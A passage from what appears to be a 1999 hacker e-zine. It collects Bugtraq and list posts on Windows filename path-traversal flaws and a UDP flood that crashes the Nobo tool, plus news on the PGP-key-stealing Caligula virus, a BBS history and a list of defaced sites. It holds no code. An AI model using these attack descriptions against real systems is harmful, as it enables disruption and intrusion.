  3702.     Subject: Two bugs and suggestion for IPX stack
  3703.        Date: Wed, 20 Jan 1999 19:17:18 +0600 (ALMT)
  3704.        From: Boris Popov <bp@butya.kz>
  3705.          To: freebsd-hackers@FreeBSD.ORG
  3706.     
  3707.     
  3708.     
  3709.     
  3710.             Hello,
  3711.     
  3712.             for about a two months ago I make few changes in IPX stack related
  3713.     to broadcast bug, internal net support and little bug in SPX
  3714.     implementation. As they work stable I suggest them to discuss and commit
  3715.     in to source tree. Here is a short explanation:
  3716.     
  3717.             Broadcasts: local host never get broadcast packet originated by
  3718.     itself. Novell implementation do that, and this simplify programming.
  3719.     
  3720.             Internal net: it is possible to implement internal net conception
  3721.     like used in Netware servers by configure loopback interface as follows:
  3722.             ifconfig lo0 ipx 0x5a5a.1
  3723.     
  3724.             After that, server programs like mars_nwe , can use only 
  3725.     network 0x5a5a and host 1. Of course this requires small changes to ipx
  3726.     stack and IPXrouted.
  3727.     
  3728.             SPX bug are just invalid order of operators :)
  3729.     
  3730.             All patches are simple and attached at the end of letter.
  3731.     
  3732.             BTW, I mostly finish work on Netware client (typical throughput
  3733.     about 730Kb/s on 10Mbit network). Higher rates is possible with packet
  3734.     burst mode, so does any body know the details ?
  3735.     
  3736.     --
  3737.     Boris Popov
  3738.     
  3739.     
  3740.     
  3741.         diff1
  3742.     
  3743.                  Name: 
  3744.                        diff1
  3745.                  Type: 
  3746.                        Plain Text (TEXT/PLAIN)
  3747.               Encoding: 
  3748.                        BASE64
  3749.     
  3750.     
  3751.     
  3752.     
  3753.         diff2
  3754.     
  3755.                  Name: 
  3756.                        diff2
  3757.                  Type: 
  3758.                        Plain Text (TEXT/PLAIN)
  3759.               Encoding: 
  3760.                        BASE64
  3761.     Subject: 
  3762.             Re: Bug in IIS and PWS but only for Windows 9x. Re: Personal web server
  3763.        Date: 
  3764.             Wed, 20 Jan 1999 10:01:19 -0800
  3765.        From: 
  3766.             Marc Slemko <marcs@ZNEP.COM>
  3767.          To: 
  3768.             BUGTRAQ@netspace.org
  3769.     
  3770.     
  3771.     
  3772.     
  3773.     On Wed, 20 Jan 1999, Victor Lavrenko wrote:
  3774.     
  3775.     > >>>>> "Aleph" == Aleph One <aleph1@UNDERGROUND.ORG> writes:
  3776.     >
  3777.     > Hello everybody.
  3778.     >
  3779.     > This bug exists because Windows 9x has a nice feature. When you
  3780.     > excecute "cd .." it goes to the parent directory, and "cd ..." goes to
  3781.     > the parent directory of parent directory etc. Windows NT has no such
  3782.     > feature so it isn't exploitable.
  3783.     
  3784.     Yup.  I haven't looked into the issue with these particular servers,
  3785.     but Apache on Win32 used to be impacted by this same issue until it
  3786.     was fixed in 1.3.1.
  3787.     
  3788.     I think we have run into a half dozen different special case situations in
  3789.     Apache where "magic" filenames needed to be dealt with specially under 95
  3790.     and/or NT to avoid security holes.
  3791.     
  3792.     You have to deal with:
  3793.     
  3794.             - case sensitivity
  3795.             - short filenames
  3796.             - trailing "."s on filenames
  3797.             - three or more "."s
  3798.             - special filenames (eg. "aux")
  3799.     
  3800.     Those are all the "multiple names for one file" or "magic file name"
  3801.     issues I can think of right now; I am sure there are more that I can't
  3802.     think of and that I don't know about.  At various times, various Win32 web
  3803.     servers have been vulnerable to the above issues.  Unfortunately, trying
  3804.     to find a canonical list of the ways that filename variance can occur in
  3805.     Windows is difficult, and it is obvious that Microsoft doesn't have it
  3806.     down either, based on the fact that many of these bugs have appeared in
  3807.     IIS in the past as well.
  3808.     
  3809.     These issues also can appear differently depending on if you are using
  3810.     95/98/NT3.5/NT4 and depending on what filesystem you are using, so testing
  3811.     for them isn't as simple as you would hope.
  3812.     
  3813.     It really makes me wish for a nice young system, one that didn't have time
  3814.     to get all this accumulated cruft.  Oh.  Wait.  Unix is a crufty old
  3815.     system and even it doesn't have this particular cruft.  In this particular
  3816.     area, Windows gets a heck of a lot of thumbs down.
  3817.     -=-
  3818.     Subject: 
  3819.             [NTSEC] Physical Port Security on a hub or switch...
  3820.        Date: 
  3821.             Mon, 18 Jan 1999 13:07:08 -0600
  3822.        From: 
  3823.             Eric Fors <ewfors@coxnet.org>
  3824.          To: 
  3825.             <ntsecurity@iss.net>
  3826.     
  3827.     
  3828.     
  3829.     
  3830.     TO UNSUBSCRIBE: email "unsubscribe ntsecurity" to majordomo@iss.net
  3831.     Contact ntsecurity-owner@iss.net for help with any problems!
  3832.     ---------------------------------------------------------------------------
  3833.     
  3834.     
  3835.     I've been asked by our t-com and infrastructure guys to post a question as
  3836.     to the value of physical port restrictions being placed on their hubs and
  3837.     switches.  We are currently using these features in some places on our LAN,
  3838.     but they often get in the way.  Here's how it works if you're per chance not
  3839.     familiar.  As each new machine comes on line the hub or switch 'learns' the
  3840.     MAC address of that machine and then sets a variable to allow no other MAC
  3841.     address to speak to that physical port.  The hubs and switches come with an
  3842.     administration application that allows you to reset / disable / or enable
  3843.     any particular port one at a time or all the ports at once on a particular
  3844.     device.  The idea is to keep anyone from 'stealing' a port on the LAN and
  3845.     listening in on what is going on on the wire. (i.e. - help protect physical
  3846.     access to the wire.)
  3847.     
  3848.     Is any body out there using these sort of tools?  Where do you use them?
  3849.     Are they worth the trouble to you? etc. etc. ...
  3850.     
  3851.     
  3852.     Thanx,
  3853.     Eric, II
  3854.     
  3855.     
  3856.     
  3857.     
  3858.     
  3859.     -=-
  3860.     
  3861.     Subject: Nobo and Netbuster Dos
  3862.        Date: Wed, 20 Jan 1999 09:46:56 PST
  3863.        From: Wolfgang Gassner <wulfmen@HOTMAIL.COM>
  3864.          To: BUGTRAQ@netspace.org
  3865.     
  3866.      Simply send Big Udp Packets to eg. Port 31337 and Mr. Nobo  will see a 
  3867.      Big error message at each Packet!!!
  3868.     
  3869.     As Default Nobo only Logs on screen and not into file that means you can
  3870.     erase your Ping!! I tested this on NT and W95 and after some time it will
  3871.     kill with a Overflow.
  3872.     
  3873.     ______________________________________________________
  3874.     Get Your Private, Free Email at http://www.hotmail.com
  3875.     
  3876.   9.0  Off The Hook Off The Air?
  3877.        ~~~~~~~~~~~~~~~~~~~~~~~~~
  3878.        HNN Http://www.hackernews.com/ February 7th 1999
  3879.        contributed by Anonymous 
  3880.  
  3881.       'Off the Hook' the hacker radio program broadcast by WBAI
  3882.        99.5FM in New York, and by real audio over the Internet may
  3883.        soon go silent. Pacifica Radio, the largest and most powerful
  3884.        public radio broadcaster, holds the broadcast licenses of WBAI
  3885.        99.5FM in New York, as well as other stations across the
  3886.        country. Pacifica Radio, will vote on the weekend of February
  3887.        26-28 to alter the by-laws of the foundation regarding who, in the
  3888.        future, will select the Pacifica board of governors. This will
  3889.        possibly give itself, for the first time, majority control over its own
  3890.        composition and will give board members the total, permanent
  3891.        control of Pacifica and its 300 million dollars worth of assets.
  3892.        This action as well as recent movements by Pacifica to take the
  3893.        organization private has lead some to believe that 'Off the Hook'
  3894.        may be in jeopardy of of being thrown off the air.
  3895.        (The previous information originally posted to the freepacifica list
  3896.        and the Free Kevin list and sent to HNN Anonymously) 
  3897.  
  3898.        Pacifica Radio - http://www.pacifica.org/
  3899.        radio4all - More information and a petition to sign 
  3900.                  - http://www.radio4all.org/freepacifica *
  3901.        * An error exists on the original HNN page that prevents the link from working
  3902.        the one above is the correct link.
  3903.        
  3904.        @HWA
  3905.        
  3906.  10.0  The Caligula Virus
  3907.        ~~~~~~~~~~~~~~~~~~
  3908.        HNN/Wired/Etc 
  3909.        contributed to HNN by Bi0wast3 
  3910.        http://www.hackernews.com/archive.html?020599.html
  3911.        
  3912.        Opic, a member of The CodeBreakers has written a new MS
  3913.        Word macro virus known as Caligula that specifically targets
  3914.        PGP private keys. Once you have been infected the viruses looks
  3915.        for your private key ring and uploads it to a Codebreakers FTP
  3916.        site. NAI, the owners of PGP claim that this in no way weakens
  3917.        the security of PGP. (So who do you believe? The good guys or
  3918.        the bad guys? Which is which?) 
  3919.  
  3920.        http://www.internetnews.com/prod-news/article/0,1087,9_64191,00.html
  3921.        http://www.codebreakers.org/      
  3922.        http://www.nai.com/
  3923.      
  3924.        Experts play down Caligula virus
  3925.  
  3926.        PGP-key snatching virus sounds dangerous -- but it's
  3927.        easily handled, experts say.
  3928.        
  3929.        ZDNET: http://www.zdnet.com/zdnn/stories/news/0,4586,2202965,00.html
  3930.  
  3931.  11.0  Unphamiliar Territory
  3932.        ~~~~~~~~~~~~~~~~~~~~~
  3933.       http://toaster.sun4c.net/upt/
  3934.       
  3935.        If you have the history of a pir8 or underground bbs that you would like to share
  3936.       here, please direct us to the info or mail it in and we'll include it in an upcoming
  3937.       issue of HWA.hax0r.news for others to enjoy. - Ed
  3938.        
  3939.       $Id: index.html,v 1.2 1999/02/02 06:08:21 root Exp $ 
  3940.       UPT, 10 years of hacker culture
  3941.       Unphamiliar Territory, often referred to as UPT or UPT.ORG, was one of the longest running *underground* computer bulletin boards of all time. Like
  3942.       all good things, it had to end sometime. Because of the influence that it had on the computer underground during the time it was up, we are working on a
  3943.       new project to show the new generation of hackers, security professionals and interested geeks just what we were. 
  3944.       
  3945.       HISTORY OF UPT
  3946.       Cut to 1988. A geeky kid named Tom Jackiewicz was sitting in front of his computer, an old 8088 clone. To get the most performance out of this box, he spent
  3947.       hours upon hours trying to modify his CONFIG.SYS file under DOS 3.3 to fully take advantage of this computing power. Sure, it wasn't the greatest box in the
  3948.       world, but it effectively let him run King's Quest II. I don't know exactly how it happened, but this kid, going by the nick of Invalid Media, or iNVALiD MEDiA to
  3949.       be more accurate, decided that running a bulletin board would be a cool experience.
  3950.       
  3951.       Up springs Phortress Systems IV, a bulletin board running part time at 1200 baud off of his parent's phone line. The software? I can't really remember that far back
  3952.       but I know we tried PC Board v10 (the only version I could find that was available in the public domain), Spitfire, WWIV 4.12 (probably the most popular package
  3953.       back then), Telegard, TAG, LSD, Celerity, and a few others I'm sure I don't remember. I guess this was back in the day when you used to be able to login to the
  3954.       THG or INC bbses and they would have the latest cool BBS software cracked under 30: 0-day BBS software d00d . I would be the guy using up the phone lines
  3955.       for hours at a time downloading the software at 1200 baud.
  3956.       
  3957.       For the first few years, Phortress Systems IV was a fun little active BBS. We eventually settled on using WWIV as our BBS software of choice. I mean, with all the
  3958.       kids creating cool mods for it in C and making them available on their BBSes, it was definetely cool.
  3959.       
  3960.       Luther, the sysop of The Phortress, gave us a call one night and told us that we would have to change the name. A shitty little system like PSIV would *not* be
  3961.       associated with a great BBS like The Phortress. So Unphamiliar Territory was quickly pulled out of my ass and the abbreviations of UNPHAM and UPT were
  3962.       quickly born. I never heard much else about 'The great Phortress System' that we weren't cool enough to be mistaken for.
  3963.       
  3964.       So here we are. Running a BBS off of a 21.4mb hard drive and a 1200 baud Prometheus modem. Our userbase? Names you might have heard of would be Mind
  3965.       Rape from the National Security Anarchists, Quinton J. Miranda from Phortune 500, and a few other random people who were interested in taking a look at 602's
  3966.       hacker scene (or lack of a hacker scene).
  3967.       
  3968.       Posts in the telco section usually resulted in someone looking up the acronym in question and throwing the definition into the next post. Or people bragging about all
  3969.       the things they broke into by logging in as 'root', discussions on what k0d3z could be used to dial up the other BBSes around at that time. But hey, it was a start.
  3970.       
  3971.       Around 1991 was when the BBS really became active. By this time we had settled on using a BBS software called 'Paragon' with built-in QWK support. The
  3972.       Attitude Adjuster was very happy about this because he could dial in, download all our messages, respond to EVERY SINGLE ONE OF THEM offline, call up 2
  3973.       days later and post them all. It was common for his QWK packets to be upwards of 250 messages. Quite scary, but hey, it created a lot of activty.
  3974.       Oh. I guess we were NuKE site around this time. I'm sure we were 'distro' sites for other places as well, but NuKE was always a big deal. The Canadian virus
  3975.       group was quite popular for many years to come and it was a sign that our BBS was one of the top 50 or so that they came across. With the normal life-span of a
  3976.       BBS being 6 to 9 months, we were considered old after being up for more than 2 years.
  3977.       
  3978.       I guess by this time we represented the National Security Anarchists. An elite group of 602 hackers consisting of Mind Rape, Mercury, The Dark Druid, Angel of
  3979.       Death, myself, and a few others. Crusader was NSA's official transportation as we were all either too young or too broke to have our own. This worked out nicely
  3980.       except for the fact that Crusader ended up keeping all the things we found trashing in the back of his house -- and we never saw them again. Oh well. The rewards
  3981.       of having a car and driving around a bunch of kids. 
  3982.       
  3983.       Ties with NuKE were broken and we joined Phalcon/Skism. Unnamed members of Phalcon/Skism called us up on the phone one day and said "Dude, your board
  3984.       fucking rocks. You *need* to ditch NuKE and join us". So we did. 
  3985.       
  3986.       By this time we had gained a very good reputation with the computer underground. Mercury was highly regarded as a great source of information and was always
  3987.       online posting new security tips, random tools he found on the internet, and very well thought out responses to everyone's questions. A lot of other people such as
  3988.       Attitude Adjuster, Accidental Tourist, Quinton J. Miranda, Mind Rape, cllisk8r, Toxic Phreak, Night Ranger (of the old VMB scene), a handful of Phalcon/Skism,
  3989.       NuKE and other virus group members, kept on posting as well. Jeager from Missouri was always on UPT and all over the X.25 networks finding out so many cool
  3990.       places to run around and establishing new chat systems. Random people from Lutzifer and QSD, places we all frequented, showed their faces on UPT. We were
  3991.       seen as of somewhat of a rock at that point in time.
  3992.       
  3993.       We weren't the best board out there but we were quickly making it up there with the ranks of Pentavia, Phalcon/Skism's LANDFILL, Midian, West Coast
  3994.       Technology and maybe a small group of others. We had a great userbase and a sysop who "ate, slept and drank UPT".. who was always on the lookout for new
  3995.       users to add to the system and new topics he could being up in the message bases.
  3996.       
  3997.       Every morning I would wake up to new threads on every topic imaginable and a score of people overseas posting the latest codes at 5:31am my time. Thinngs were
  3998.       going great.
  3999.       
  4000.       1992 was a strange year that really put UPT over the edge. MICROWIRE had died. MICROWIRE was the NUI that everyone used to hop to everyone's favorite
  4001.       chat sites Lutzifer and QSD. What were people to do? Where were they going to go? They came here. So not only was the entire VMB and phreak scene fully
  4002.       represented on UPT, but so were all those who used MICROWIRE and never figured out a way to get on without it. This would be the year that UPT would be
  4003.       considered one of the best hacker BBSes of all time.
  4004.       
  4005.       Who knows what year it was, but Paragon development stopped and I lost contact with everyone working on it. As time went on and we needed more features
  4006.       added, we were just out of luck. We tried running Celerity for a while but it just didn't work out too well. We ended up going to Waffle. Then Waffle under SLS
  4007.       Linux. The only other time UPT was running unix was when Garbled User tried converting us to NetBSD back during the summer of 1992. That was a pain in the
  4008.       ass, topped off by MADMAN doing !sh at the [more] prompt of the BBS software we attempted to run and dropping to a root shell. 
  4009.       
  4010.       Cut in to 1994. invalid and merc are working for days straight converting a 486/33 with 16 megabytes of RAM and a 209mb hard drive to SLS Linux. After
  4011.       multiple mistakes and errors in our lilo configurations. The kernel. Oh, yeah, 0.97. You know, the kernel where "The IRQ code has solidified, and should work on all
  4012.       machines. Not all of the SCSI drivers use it yet, so I expect patches for that". The same kernel where "include-files have been moved around some more: there are
  4013.       still some names that clash with the standard headers, but not many". Yeah, this is the same Linux that every kid in the world is now running and convincing their
  4014.       companies is the most stable piece of code in the world. Oh yeah, and this is the kernel where "while (1) fork();" won't kill the machine for non-root users". *sigh*.
  4015.       
  4016.       We eventually stabilized on kernel 1.1.59 -- finally getting past the 0 beta kernels. We were quite happy. A new era for UPT had started. During the unix upgrade
  4017.       we converted all the old message bases and userbase to Waffle.
  4018.       
  4019.       After probably 3 straight days of configuring the machine, 'iceman' logged onto our boxes and spent what seemed like eternity online trying to break root on our
  4020.       machines. He succeeded, being the first person to ever break root on our boxes. He used 'sendmail'. We were quite annoyed that we didn't take the time to secure
  4021.       but happy that 'iceman' was cool enough to let us know where our security holes were.
  4022.       
  4023.       I guess this is around the time that we started sitting at Denny's 24 hours a day going over ways we could make UPT more secure and unique. We came up with
  4024.       many ideas which we implemented and many that ended up making it into current issues of Phrack (years after we implemented them on UPT).
  4025.       
  4026.       Our brainstorming sessions come up with some of the following ideas:
  4027.         .hushutmp/.hushwtmp files could be created in your home directory to hide you from utmp/wtmp. this way, you could connect from sites that would
  4028.       identify you (i.e. your work) without the fear the other UPT users could gain knowledge of your identity. 
  4029.         trusted path execution. this has been discussed many times since we first implemented it so i'm sure you've read about it somewhere. the idea is that the
  4030.       directory needs to be owned by root and have certain permissions (i.e. not group writable) or else you can't execute files out of that directory. for
  4031.       example, you can't execute files you compile on our system our of your home directory. 
  4032.         socks group. you had to be in the group 'socks' in order to open up a socket on our system. To be finished later.. 
  4033.       
  4034.       THE SYSOPS
  4035.       Tom Jackiewicz, aka Invalid Media, invalid.
  4036.       invalid founded UPT and helped make it the board that it ended up being. He is currently working as a consultant in Silicon Valley in the field of system scalability
  4037.       (specifically related to LDAP and SMTP).
  4038.       
  4039.       Mercury or merc of the National Security Anarchists.
  4040.       merc no longer exists. However, for the years he was on the system, he was always a great source of knowledge and did most of the programming related to
  4041.       running the BBS.
  4042.       
  4043.       Mind Rape of the National Security Anarchists.
  4044.       While not one of the official sysops, he was a mentor to those who knew him. He's still crazy.
  4045.       
  4046.       Warlock Bones or wbones.
  4047.       When the system was moved from invalid's house, he took over. This was sometime in 1992. It stayed at his house for quite some time running on a Dual Standard
  4048.       modem (a nice step up) and a fast 386 machine.
  4049.       
  4050.       Garbled User or garbled of Freakers Bureau Incorporated.
  4051.       Upon moving to Phoenix, he made UPT the head BBS of FBI. All of the articles for FBI were published there. The system was actually at his house for the summer
  4052.       of 1993 (if I remember correctly).
  4053.       
  4054.       Many people have also helped over the years in keeping the system up and donating new hardware. Professor Falken from the old LOD gave us our first high speed
  4055.       modem (ZOOM v32), Pluvius from BoW gave us our first router (an old NTI). Many people have donated time, energy, programming talent, and insane amounts
  4056.       of alcohol that kept us alive for more than a decade. 
  4057.       
  4058.       THE GROUPS
  4059.       We've been associated with many groups over the past few years. Starting out with the 504 crowd and NCC/GCA with Dr. C, Ratfink, and various others. Then on
  4060.       to being the head board for the National Security Anarchists with Mercury, Mind Rape, The Dark Druid, Angel of Death, and many others. NuKE with Rock
  4061.       Steady and the other canucks. The most influential at the time was Phalcon/Skism with GarbageHeap, Orion Rogue, HellRaiser, CRoWMeiSTeR and others. The
  4062.       text file groups all wanted us to be distribution sites for them. Digital Free Press, uXu, Freedom, and many others.
  4063.       
  4064.       And not to forget the most fun product of UPT -- Cult of the Dead Cat, along with The Attitude Adjuster (under a handful of nicks) and Mahatma Mcaf33 (me!).
  4065.       The group was initially started as an anti-cDc group because Drunkfux complained that we had the dead cow logo upon logging in. So instantly we changed the logo
  4066.       to a dead cat and insulted everyone within our publications. Check out some of the CdC archives on eff.org. *sigh*. Those were the days. 
  4067.       
  4068.       MESSAGE ARCHIVES
  4069.       The message archives have actually been converted. Message bases date as far back as 02/1992. More are still on tape and need to be restored. We are working
  4070.       on the process right now.
  4071.       
  4072.       In the days of Warez BBSes going HST only, The Humble Guys, Phun Line out of Sacramento, and West Coast Technologies, BBSes were king. And the BBS
  4073.       sysops were masters of all information. UPT was glad to be a part of that era of hacker culture. While messages won't be as interesting now as they were back then,
  4074.       its still nice to look back at some of the old posts that we had on the box. And its fun to look at your coworker in the next office over and say, "You posted
  4075.       THAT?". You know who you are.
  4076.       
  4077.       On to the message bases! -> http://toaster.sun4c.net/upt/forum.html       
  4078.       
  4079.       @HWA
  4080.     
  4081.   H.W  Hacked Web Sites 
  4082.        ~~~~~~~~~~~~~~~~~
  4083.        
  4084.       I'm seriously wondering if it is any longer a good idea to put hacked web
  4085.      sites into the spotlight at all. It just encourages a stupid activity. Like
  4086.      using the word "fuck" to the point that it no longer has any meaning, but for
  4087.      now here is a list of *some* of the recently hacked websites for February.
  4088.  
  4089.  
  4090.      Cracked Sites (taken directly from HNN's rumours section) 
  4091.      hnn: http://www.hackernews.com/
  4092.     
  4093.     
  4094.      We received reports that the following people cracked the
  4095.      following web sites. Many of the sites where restored by the time
  4096.      we looked at them.
  4097.  
  4098.      |ndig00, f0bic, jay, opt1mus_pr1me, mindphasr, HcV,
  4099.      Decendents of Hell, RETRiBUTiON, Elite Force Hackers,
  4100.      |ViRuSeD|, [^X^CliEnT^], and LoRd OaK 
  4101.  
  4102.      http://www.prolinkservices.com
  4103.      http://www.it4.net 
  4104.      http://www.it4.com 
  4105.      http://www.socialsource.com 
  4106.      http://www.socialsource.net 
  4107.      http://www.worldcast.com 
  4108.      http://abl.afsc.noaa.gov 
  4109.      http://www.foxlink.net 
  4110.      http://www.ustr.net 
  4111.      http://www.purehosting.com 
  4112.      http://www.isabi.net 
  4113.  
  4114.  
  4115.      @HWA
  4116.      
  4117.   A.0  APPENDICES
  4118.        ~~~~~~~~~~   
  4119.         
  4120.  
  4121.   A.1  PHACVW, sekurity, security, cyberwar links
  4122.        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  4123.      
  4124.        The links are no longer maintained in this file, there is now a 
  4125.       links section on the http://welcome.to/HWA.hax0r.news/ url so check
  4126.       there for current links etc.
  4127.     
  4128.       The hack FAQ (The #hack/alt.2600 faq)
  4129.       http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html
  4130.     
  4131.       Hacker's Jargon File (The quote file)
  4132.       http://www.lysator.liu.se/hackdict/split2/main_index.html
  4133.     
  4134.    
  4135.  
  4136.       International links:(TBC)
  4137.       ~~~~~~~~~~~~~~~~~~~~~~~~~
  4138.       
  4139.       Netherlands...: http://security.pine.nl/
  4140.       Russia........: http://www.tsu.ru/~eugene/
  4141.       Indonesia.....: http://www.k-elektronik.org/index2.html
  4142.                       http://members.xoom.com/neblonica/
  4143.       Brasil........: http://www.psynet.net/ka0z
  4144.                       http://www.elementais.cjb.net           
  4145.  
  4146.     Got a link for this section? email it to hwa@press.usmc.net and i'll 
  4147.     review it and post it here if it merits it. 
  4148.     
  4149.     
  4150.  
  4151.   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-  
  4152.     --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--       
  4153.        
  4154.     (c) Cruciphux/HWA.hax0r.news
  4155.     (r) Cruciphux is a trade mark of Harpies With Ailments corp.
  4156.     
  4157.      --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--
  4158.   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
  4159.    [ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
  4160.        [45:6E:64]-[28:63:29:31:39:39:38:20:68:77:61:20:73:74:65:76:65]     
  4161.  
  4162.